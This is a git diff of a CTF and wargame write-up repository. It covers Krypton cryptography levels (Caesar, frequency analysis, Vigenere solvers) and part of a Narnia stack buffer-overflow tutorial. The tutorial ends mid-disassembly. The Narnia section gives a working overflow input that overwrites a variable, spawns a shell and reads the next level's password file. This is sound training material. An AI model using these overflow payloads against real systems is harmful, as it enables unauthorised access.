+ +```sh +$ jad guess.class +``` + +Now, opening this file in a text editor, we can see how to generate the flag: +```java + + + +```java +// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov. +// Jad home page: http://www.geocities.com/kpdus/jad.html +// Decompiler options: packimports(3) +// Source File Name: guess.java + +(...) +String str_one = "4b64ca12ace755516c178f72d05d7061"; + String str_two = "ecd44646cfe5994ebeb35bf922e25dba"; + String answer = XOR(str_one, str_two); +System.out.println((new StringBuilder("your flag is: ")).append(answer).toString()); +``` +Running the modified version gives us: +```java +$ javac -g guess.java +$ java guess +your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb +``` + +_________________ +## Sudoku image encryption - cryptography + +This challenge starts with the following text: +> Row Major Order + +And it gives us two pictures: a map and a sudoku. + +![cyber](http://i.imgur.com/U9Zq4wp.png) + +We solve the sudoku and write the solution in a script to reorder the blocks: +```python +from PIL import Image + + +# solved sudoku +sudoku = ''' +964127538 +712385694 +385496712 +491578263 +238614975 +576239841 +627843159 +153962487 +849751326 +''' +s = sudoku.replace('\n', '') + +image = Image.open('image.png').convert('RGB') +out = Image.new('RGB', image.size) + +for j in range(9): + for i in range(9): + img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50)) + c = (int(s[j * 9 + i]) - 1) * 50 + out.paste(img_cell, (c, j * 50)) + +out.save('out_image.png') +``` + +This gives us our flag: + +![cyber](http://i.imgur.com/sA7JPrl.png) + + +** Hack all the things! ** + + +[OutGuess]: http://www.outguess.org/download.php +[jad]: http://varaneckas.com/jad/ + diff --git a/CTFs_and_WarGames/LICENSE b/CTFs_and_WarGames/LICENSE deleted file mode 100644 index c920e98..0000000 --- a/CTFs_and_WarGames/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Mari Wahl - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/CTFs_and_WarGames/README.md b/CTFs_and_WarGames/README.md index 339dc44..5431a98 100644 --- a/CTFs_and_WarGames/README.md +++ b/CTFs_and_WarGames/README.md @@ -1,30 +1,19 @@ -CTFs & Wargames Archives -======================== +# CTFs & Wargames -# CTFs - -## 2014 - ASIS Final - CSAW Quals - Hack.lu - Stripe 1, 2, 3 - 9447 - - ---- -# Wargames - -## 2014 - -- OverTheWire: Krypton, Narnia +- OverTheWire ---- -# Trivia List (For Reference) +# Trivia List -## CSAW CTF 2014 +## CSAW CTF 1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE** @@ -44,7 +33,7 @@ Answer: **RET** # Recon -### Searching the Internets +### Searching the Interwebs The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it. @@ -107,4 +96,3 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin``` [namechk]: http://namechk.com ----- diff --git a/CTFs_and_WarGames/WARGAMES/README.md b/CTFs_and_WarGames/WARGAMES/README.md index 00495d3..57c57d0 100644 --- a/CTFs_and_WarGames/WARGAMES/README.md +++ b/CTFs_and_WarGames/WARGAMES/README.md @@ -1,3 +1,9 @@ -## Writeups: +# Wargames Writeups -[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html +### OverTheWire + +[Wargames]: http://overthewire.org/wargames/ + +* krypton +* narnia +* natas diff --git a/CTFs_and_WarGames/WARGAMES/krypton/README.md b/CTFs_and_WarGames/WARGAMES/krypton/README.md new file mode 100644 index 0000000..2592ea9 --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/krypton/README.md @@ -0,0 +1,317 @@ +# Cryptography War: Beating Krypton + +The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]). + + +**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time. + + + + +[Cryptol]: http://www.cryptol.net/ +[Wargames]: http://overthewire.org/wargames/ +[Krypton]: http://overthewire.org/wargames/krypton/ +[CSAW CTF]: https://ctf.isis.poly.edu/ + + + +## Level 0: Base64 Transformation + + +This level starts with: + + > The following string encodes the password using Base64: + S1JZUFRPTklTR1JFQVQ= + > Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/. + + +[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is: + +``` +$ base64 -d KRYPTON0.txt + +``` + + +[Base64]: http://en.wikipedia.org/wiki/Base64 + +---- + +## Level 1: Classic Caesar Cypher + +The second level starts with: + + > The password for level 2 is in the file ‘krypton2’. It is ‘encrypted’ using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy! + + +This is the classic [Caesar Cypher] (they really love this thing :). + + In Caesar’s cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A. + +We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool): + +``` +krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2) +krypton1@melinda:/krypton/krypton1$ echo $VAR +YRIRY GJB CNFFJBEQ EBGGRA +krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m" +krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13 +``` + +[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher +[tr]: http://linux.die.net/man/1/tr + + +----- + +## Level 2 + +The third level starts with: + + > ROT13 is a simple substitution cipher. + + > Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why. + + > This level contains an old form of cipher called a 'Caesar Cipher'. + > A Caesar cipher shifts the alphabet by a set number. For example: + + > plain: a b c d e f g h i j k ... + > cipher: G H I J K L M N O P Q ... + + > In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext. + + > The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy. + + +First, we make a file filled with the alphabet, so we can test the binary: + +```sh +$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat +$ echo {A..Z} {a..z} > file +$ cat file +A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z +``` + +Running the binary: +``` +$ /krypton/krypton2/encrypt file +$ cat ciphertext +MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL +``` + +We see a ROT14 (since ROT13 starts in N). + +As a second way to find the rotation, we could use [ltrace]: +``` +$ ltrace /krypton/krypton2/encrypt file | less +``` + +Which shows things such as: + +``` +fgetc(0x602250) = 'A' +toupper('A') = 'A' +isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024 +fputc('M', 0x602490) = 77 +``` + + +Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level: + +```sh +krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N" +krypton2@melinda:/tmp$ echo "$VAR" | rot14 + +``` + + +[ltrace]: http://linux.die.net/man/1/ltrace + +--- + +## Level 3: Frequency Analysis + +This level starts with: + + > Well done. You've moved past an easy substitution cipher. + + > Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop. + + > The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker. + + > However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3) + + +This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher. + +For this purpose, I wrote the following script: + + +```python +import string +import sys +import operator + +FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004] + +def find_frequency(msg): + dict_freq = dict([(c, 0) for c in string.lowercase]) + total_letters = 0.0 + for c in msg.lower(): + if 'a'<= c <= 'z': + dict_freq[c] += 1 + total_letters += 1 + list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1)) + return [(c, freq/total_letters) for (c, freq) in list_freq] + +def main(filename): + with open(filename, 'r') as f: + cipher = f.readlines() + cipher = cipher[0].strip() + flist = find_frequency(cipher) + elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH)) + elist = sorted(elist.items(), key=operator.itemgetter(1)) + trans, key = '', '' + for i, f in enumerate(flist):ls + trans += f[0] + key += elist[i][0] + print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1]) + print "Key is " + key + " for " + trans + + # print key sorted to translate to a-z + res = zip(trans, key) + res.sort() + trans, key = '', '' + for letter in res: + trans += letter[1].upper() + key += letter[0].upper() + print "tr [" + key + "] [" + trans + "]" + +if __name__ == "__main__": + main(str(sys.argv[1])) +``` + + +Running it gives us the key: + +``` +$ cat /krypton/krypton3/found1 > cipher +$ cat /krypton/krypton3/found2 >> cipher +$ cat /krypton/krypton3/found3 >> cipher +$ /krypton/krypton3$ python freq.py cipher +$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU' +$ cat /krypton/krypton3/krypton4 | rotvi +``` + +We could also use [this online tool] to find the frequencies. + +[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php + +[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis + +---- + +## Level 4: Vigenere Cipher I + +The fifth level starts with: + + > So far we have worked with simple substitution ciphers. They have also been ‘monoalphabetic’, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as ‘polyalphabetic’, where one character of P may map to many, or all, possible ciphertext characters. + + > An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this: + + > If we use the key(K) ‘GOLD’, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26). + + > P P R O C E E D M E E T I N G A S A G R E E D\ + > K G O L D G O L D G O L D G O L D G O L D G O\ + > becomes: + + > P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\ + > K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\ + > C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\ + > So, we get a ciphertext of: + + > VFZFK SOPKS ELTUL VGUCH KR + > This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length! + +This is a classic case of [Vigenere cipher], which is a variation on Caesar’s cipher. In this case, one uses multiple shift amounts according to a keyword. + +To solve this, we use the [pygenere] library in Python. First, we need to find the key: + +```pyhton +import sys +from pygenere import Vigenere, VigCrack + +def get_key(msg): + # Vigenere Cypher + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg + +if __name__ == '__main__': + # getting the key + with open('cipher', 'r') as f: + msg = f.readlines() + msg_in = msg[0].strip() + key, answer = get_key(msg_in) + print 'Message: ' + msg_in + print + print 'Answer: ' + answer + print '(key: ' + key + ')' +``` + +The deciphered text is: + > THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED +THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK +INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF +THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY +HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN +THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR +WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER +BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS +WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT +FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS +OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS +SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB +BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW +ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN +ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI +RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER +ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH + + +Finally, we use the key to decipher the password: + +```python +def solve(msg, key): + dec_msg = Vigenere(msg).decipher(key) + dec_msg = dec_msg.replace(" ", "") + return dec_msg + +if __name__ == '__main__': + # deciphering + key = 'FREKEY' + with open('pass', 'r') as f: + msg = f.readlines() + answer = solve(msg[0].strip(), key) + print "The answer is: " + answer +``` + +[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher +[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py + + + + +---- + +## Level 5: Vigenere Cipher II + +The sixth level starts with: + + + > Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown. + +This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password. + + diff --git a/CTFs_and_WarGames/WARGAMES/narnia/README.md b/CTFs_and_WarGames/WARGAMES/narnia/README.md new file mode 100644 index 0000000..bf4b734 --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/narnia/README.md @@ -0,0 +1,1057 @@ +# Smashing the Stack for Fun or WarGames - Narnia 0-4 + + +One of my mentors, **Joel Eriksson**, suggested the quintessential **[WarGames]**, a collection of **Security problems**, divided into 14 interesting titles. I have been playing the games since last week, and they are awesome! To play the WarGames you SSH to their servers with a login that indicates your current level. The purpose of the game is to solve the current level's challenge to find the password for the next level. + +Today I am talking about the first five levels of **[Narnia]**, which is all about **[buffer overflow]** and **[inputs with no bounds checking]**. + + +You will see that this war is not so bad when you know your weapons. + + +**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READY ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time. + +[inputs with no bounds checking]: http://en.wikipedia.org/wiki/Bounds_checking +[buffer overflow]: http://en.wikipedia.org/wiki/Buffer_overflow +[process's virtual memory]: http://en.wikipedia.org/wiki/Virtual_memory + +-------- + +## How Stack Exploitation Works: A Crash Course + +### A Process' Virtual Memory + +When a program starts a process, the OS kernel provides it a piece of [physical memory]. However, all that the process sees is the [virtual memory space] and its size and starting address. Each time a process wants to read or write to physical memory, its request must be translated from a virtual memory address to a physical memory address. + + +[physical memory]: http://en.wikipedia.org/wiki/Computer_memory +[virtual memory space]: http://en.wikipedia.org/wiki/Virtual_memory + + +I like [Peter Jay Salzman]'s picture showing the process' virtual memory in terms of its address. + +![cyber](http://i.imgur.com/RYEpFEA.png) + + +The *text* and *data* segments are the places where the program puts the code and the static data (*e.g*., global variables). This region is normally marked read-only, and any attempt to write to it will result in a [segmentation violation]. + +Notice that arguments and environment variables get a special place in the top of the Stack (higher address). + +Although the [Heap] can also be fun to play with, for the purpose of these games, we will concentrate on the **Stack**. Remember, the [direction of which the Stack grows] is system-dependent. + + + +[direction of which the Stack grows]: https://stackoverflow.com/questions/664744/what-is-the-direction-of-stack-growth-in-most-modern-systems +[segmentation violation]: http://en.wikipedia.org/wiki/Segmentation_fault +[Heap]: http://en.wikipedia.org/wiki/Heap_(data_structure) + + +### What's the Stack + + +A Stack is an *abstract data type* that has the property that the last object placed will be the first object removed. This is also known as *last-in/first-out queue* or *LIFO*. Two of the most essential operations in a Stack are *push* and *pop*. + +You can think of a stack of books: the only way to reach the book in the bottom (the first book that was pushed) is by popping every book on the top. To learn how to write a Stack in Python, take a look at my notes on [Python & Algorithms]. I also made the source code available: [here are some examples]. + +The memory Stack frame is a collection of (stack) frames. Every time a process calls a function, it alters the flow of control. In this case, a new frame needs to be added, and the Stack grows downward (lower memory address). + +If you think about it, a Stack is a perfect object for a process: the process can push a function (its arguments, code, etc.) into the Stack, then, in the end, it pops everything, back to where it started. + + + + +[Python & Algorithms]: https://github.com/autistic-symposium/master-algorithms-pyblob/master/book/book_second_edition.pdf +[here are some examples]: https://github.com/autistic-symposium/master-algorithms-pytree/master/src/abstract_structures/Stacks + + + + +### Buffer Overflows in the Stack + +Buffer overflows happen when we give a buffer more information than it is meant to hold. For example, the **standard C library** has several functions for copying or appending strings with no bounds checking: ```strcat()```, ```strcpy()```, ```sprintf()```, ```vsprintf()```, ```gets()```, and ```scanf()```. These functions can easily overflow a buffer if the input is not validated first. + +To better understand this subject, I recommend the classic [Smashing the Stack for Fun or Profit] from [Aleph One], which was published in 1996 in the [Phrack magazine] number 49. + +[WarGames]: http://overthewire.org/wargames +[Narnia]: http://overthewire.org/wargames/narnia +[Aleph One]: http://en.wikipedia.org/wiki/Elias_Levy +[Phrack magazine]: http://www.phrack.org/ +[Smashing the Stack for Fun or Profit]: http://insecure.org/stf/smashStack.html +[Peter Jay Salzman]: http://www.dirac.org/linux/gdb/ + + + + +### Assembly and the Stack Registers + +Registers are small memory storage areas built into the CPU. When the process enters the Stack, a register called the **Stack pointer** (esp) points to the top of the Stack (lowest memory address). The bottom of the Stack (higher memory address) is at a fixed address (adjusted by the kernel at run time). The CPU will implement instructions to push onto and pop stuff of the Stack. + +In Assembly code this looks like: + +``` +pushl %ebp +movl %esp,%ebp +subl $20,%esp +``` + +The two first lines are the prologue. In the first line of this code, the (old) **frame pointer** (ebp) is pushed onto the top of the Stack (lowest memory). Then, the current **esp** is copied into the **stack frame base pointer** (ebp), making it the new frame pointer. In the last line, space is allocated for the local variables, subtracting their size from esp (remember that memory can only be addressed in multiples of the word size, for example, 4 bytes, or 32 bits). + + + +After this point, the Assembly code will show each operation step in the program. We will learn more about this during the challenges. It's a good skill to understand the basics of Assembly, but this is outside the context of this review. Check out this [nice Assembly guide] if you need to. Also, [this cheat sheet] is awesome. + +[this cheat sheet]: http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf + +[nice Assembly guide]: http://www.drpaulcarter.com/pcasm/ + +Ah, by the way, you can look to the Assembly output in a C program by using the flag ```-S```: + +```sh +$ gcc -S -o example1.s example1.c +``` + + + +---- + +## Narnia's WarGame + +### The Scenario + +In each of Narnia's levels, we are able to [run a binary and read its C code]. The objective is to figure out from the code what vulnerability can be used to allow us to read the password of the next level (located in a folder under ```/etc``` in the server). + + +[run a binary and read its C code]: http://www.thegeekstuff.com/2011/10/c-program-to-an-executable/ + + + + +### Your Weapons + + + + + +#### Memory and Exploits Representation + + +When it comes to memory addresses, it's fundamental to understand [hexadecimal representation]. You can print a HEX into [ASCII] with Python: +```python +$ python -c 'print "\x41"' +A +``` + +Remember that Narnia's servers are [x86], so they have [little-endian] representation. This means that an address ```0xffffd546 ``` is actually written as ```\x46\xd5\xff\xff ```. + +Most of the exploit we deliver in Narnia is in the form of input strings. Python with the flag, ```-c```, is really handy to craft what we need: +```sh +$ python -c 'print "A"*20' +AAAAAAAAAAAAAAAAAAAA +``` + +[little-endian]: http://en.wikipedia.org/wiki/Endianness +[x86]: http://en.wikipedia.org/wiki/X86 +[ASCII]: http://en.wikipedia.org/wiki/ASCII +[hexadecimal representation]: http://en.wikipedia.org/wiki/Hexadecimal + + +#### Environment Variables + +If you look to the picture above, you see that the system environment variables are available within the Stack. This can be useful to some exploits, where we can use these variables to import payloads. + +To define an environment variable, we use ```export```. To print its value, you can use ```echo``` or ```env```: +```sh +$ EGG="0X41414141" +$ echo $EGG +0X41414141 +$ export EGG +$ env | grep EGG +EGG=0X41414141 +``` + +To understand more about environments variables in exploits, take a look into my [Shellshock guide]. + +[Shellshock guide]: http://https://singularity-sh.vercel.app/understanding-the-shellshock-vulnerability.html + + +#### Shell Commands + +The shell commands that are useful for these problems are: + + +* ```readelf```: Displays information about ELF files (the binaries). For example, a detail that will be important soon is the fact that, in Narnia, the *Stack is executable*. This means that we can place shellcode within it. To check whether the Stack is executable see if the following output has the flag **E**: +```sh +narnia1@melinda:/narnia$ readelf -a narnia1 | grep GNU_STACK + GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 +``` + + +* ```xxd```: Creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. + +* ```whoami```: Shows the current user, good to see whether the exploit worked! + + + +### gdb and objdump + +In most of the problems in Narnia, it's fundamental do understand how to debug the binary with **gdb**. + + +[very introductory guide]: http://www.thegeekstuff.com/2010/03/debug-c-program-using-gdb/ +[comprehensive guide]: http://www.dirac.org/linux/gdb/ + + +To learn more about gdb, you might want to check this [very introductory guide] or this [comprehensive guide]. However, in any problem in Narnia these steps are enough: + +* To start a gdb instance: ```gdb -q ```. +* To get the Assembly code we use the ```disassemble``` command. Constants are prefixed with a $ and registers with a %: +``` +(gdb) set disassembly-flavor intel +(gdb) disas main +``` + + + +* To set breakpoints to the address to inspect, based on the values from the output above: +``` +(gdb) b *main+ +``` + +* To run the program: ```(gdb) r```. We also can use ```c``` to continue to run it after the breakpoint. We can use ```n``` for the next program line. We can print things using ```p```. + +* To examine some memory address, we can use ```(gdb) x/nfu A```, where **A** is the address (*e.g.*, ```$esp``), n is the number of units to print, f is the format character, and u is the unit. + +* To examine the Stack frame: ```(gdb) i f```. We can also look at the Stack by using ```bt``` (backtrace). + + + +* When you start using gdb frequently, it's useful to have a file with starting commands. For example: + +```sh +$ gdb -x +``` + +Where: +```sh +$ cat command.txt +set disassembly-flavor intel +disas main +``` + +Or you can have a nice **.gdbinit** setup with lines such as: +``` +set disassembly-flavor intel +set follow-fork-mode child +``` + + + +As a note, there are other **disassembles** that you might want to try instead of gdb: + +* The shell command **objdump -d**, which display the Assembly information from object files. +* IDA Pro. +* BinNavi. +* Hopper Disassembler. +* readelf. + + + + +-------------- + +## Level 0: Classic Stack Overflow to rewrite a Variable + + +### Step 1: Understanding the Problem + +The first level starts with: + +```sh +narnia0@melinda:/narnia$ cat narnia0.c + +#include +#include + +int main(){ + long val=0x41414141; + char buf[20]; + + printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); + printf("Here is your chance: "); + scanf("%24s",&buf); + + printf("buf: %s\n",buf); + printf("val: 0x%08x\n",val); + + if(val==0xdeadbeef) + system("/bin/sh"); + else { + printf("WAY OFF!!!!\n"); + exit(1); + } + + return 0; +} +``` + +The program receives an input from the user and saves it in a buffer variable of size 20. Then, it checks if the *val* is equal to a different value of what it was declared: +```c +if(val==0xdeadbeef) + system("/bin/sh"); +``` +Since *val* obviously didn't change anywhere in the program, nothing happens, and the program exits normally. + +However, if somehow we could change the value of *val* to [0xdeadbeef], the program will give us a privileged shell! + + +[0xdeadbeef]: http://en.wikipedia.org/wiki/Hexspeak + +Let's think about the memory Stack. Just like in a pile of books, the local variables are pushed in the order that they are created. In the case above, *val* is pushed before *buf*, so *val* is in a higher memory address: +```c + long val=0x41414141; + char buf[20]; +``` + +What happens if the input is larger than 20 bytes? In this case, there are no bounds checking, and the input overflows the variable *buf*, occupying the following space in the Stack: *val*. This is a classic case of **Stack Overflow**! + + + +### Step 2: Visualizing the Overflow + + +The plan is to overflow *buf* with 20+4 bytes so that the last four bytes overwrites *val* with ```0xdeadbeef```. + +Let's see how *val* is filled when we overflow byte by byte: + + +```sh +narnia0@melinda:/narnia$ python -c 'print "B"*24' +BBBBBBBBBBBBBBBBBBBBBBBB + +narnia0@melinda:/narnia$ (python -c 'print "B"*19') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBB +val: 0x41414141 +WAY OFF!!!! + + +narnia0@melinda:/narnia$ (python -c 'print "B"*20') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB +val: 0x41414100 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*21') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBB +val: 0x41410042 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*22') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBB +val: 0x41004242 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*23') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBB +val: 0x00424242 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*24') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB +val: 0x42424242 +WAY OFF!!!! +``` + +### Step 3: Crafting the Exploit + +Now we know that `val` starts to overflow in the 20th byte. All we need to do is to add ```deadbeef``` in the last four bytes. + +However, we need to write this in hexadecimal form: + +```sh +narnia0@melinda:/narnia$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' +AAAAAAAAAAAAAAAAAAAAᆳ +narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"') | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ +val: 0xdeadbeef +``` + +Yay, the exploit worked! + + +### Step 4: Getting Access to the Shell + + +We were able to get access to our shell, but it closed too fast when the program execution ended. + +We need to create a way to read the password before we lose the control to the shell. A good way is pipelining some command that waits for input, such as ```tail``` or ```cat```. + +It turns out that only ```cat``` actually prints the output: + +```sh +narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | /narnia/narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ +val: 0xdeadbeef +cat /etc/narnia_pass/narnia1 +``` +Done! We have completed the 0th level! + + +### Step 5: Debugging it! +Although this problem was easy enough so we didn't need to debug anything, it's a good call to understand the process while the challenge is easy: + +```sh +narnia0@melinda:/narnia$ gdb ./narnia0 +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x080484c4 <+0>: push ebp + 0x080484c5 <+1>: mov ebp,esp + 0x080484c7 <+3>: and esp,0xfffffff0 + 0x080484ca <+6>: sub esp,0x30 + 0x080484cd <+9>: mov DWORD PTR [esp+0x2c],0x41414141 + 0x080484d5 <+17>: mov DWORD PTR [esp],0x8048640 + 0x080484dc <+24>: call 0x80483b0 + 0x080484e1 <+29>: mov eax,0x8048673 + 0x080484e6 <+34>: mov DWORD PTR [esp],eax + 0x080484e9 <+37>: call 0x80483a0 + 0x080484ee <+42>: mov eax,0x8048689 + 0x080484f3 <+47>: lea edx,[esp+0x18] + 0x080484f7 <+51>: mov DWORD PTR [esp+0x4],edx + 0x080484fb <+55>: mov DWORD PTR [esp],eax + 0x080484fe <+58>: call 0x8048400 <__isoc99_scanf@plt> + 0x08048503 <+63>: mov 